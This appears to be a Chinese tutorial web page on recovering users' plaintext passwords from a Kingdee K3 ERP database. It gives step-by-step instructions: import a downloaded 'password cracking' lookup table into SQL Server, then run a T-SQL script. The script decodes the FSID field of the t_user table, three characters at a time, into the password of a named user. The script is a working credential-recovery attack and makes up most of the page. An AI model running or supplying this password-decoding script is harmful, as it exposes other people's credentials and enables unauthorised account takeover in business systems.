金蝶K3如何在数据库查询用户的密码

2025-09-30 00:45:41

1、第一步:我们需要下载如下图的金蝶用户密码破解对照表,然后将其导入到sqlserver

金蝶K3如何在数据库查询用户的密码

金蝶K3如何在数据库查询用户的密码

2、第二步:定义变量

declare @before nvarchar(320)

declare @password nvarchar(100)

declare @count int

declare @c int

declare @mw nvarchar(100)

declare @fname nvarchar(100)

金蝶K3如何在数据库查询用户的密码

3、第三部:初始化变量,查询的用户名自行修改

set @fname='zl' --用户名

select @before=')  F ", ,P T #8 *P!D &D 80!N &@ <0 C '+''''+'< : !M &4 '

select @password=replace(replace(replace(FSID,@before,''),' ','□'),')0','') from t_user where FName=@fname

SET @count=1 

set @c=1

set @mw=''

金蝶K3如何在数据库查询用户的密码

4、第四步:循环查询密码

while @count<LEN(@password)

begin

if @c%6=1

begin

select @mw=@mw+mw  from test.dbo.t_passwordpj where one=(SUBSTRING(@password,@count,3))

end

else if @c%6=2

begin

select @mw=@mw+mw  from test.dbo.t_passwordpj where two=(SUBSTRING(@password,@count,3))

end

else if @c%6=3

begin

select @mw=@mw+mw  from test.dbo.t_passwordpj where three=(SUBSTRING(@password,@count,3))

end

else if @c%6=4

begin

select @mw=@mw+mw from test.dbo.t_passwordpj where four=(SUBSTRING(@password,@count,3))

end

else if @c%6=5

begin

select @mw=@mw+mw from test.dbo.t_passwordpj where five=(SUBSTRING(@password,@count,3))

end

else if @c%6=0

begin

select @mw=@mw+mw from test.dbo.t_passwordpj where six=(SUBSTRING(@password,@count,3))

end

set @c=@c+1

set @count = @count+3

end

金蝶K3如何在数据库查询用户的密码

5、第五步:密码输出

select @mw

金蝶K3如何在数据库查询用户的密码

6、第六步:执行脚本,获取密码

金蝶K3如何在数据库查询用户的密码

声明:本网站引用、摘录或转载内容仅供网站访问者交流或参考,不代表本站立场,如存在版权或非法内容,请联系站长删除,联系邮箱:site.kefu@qq.com。
猜你喜欢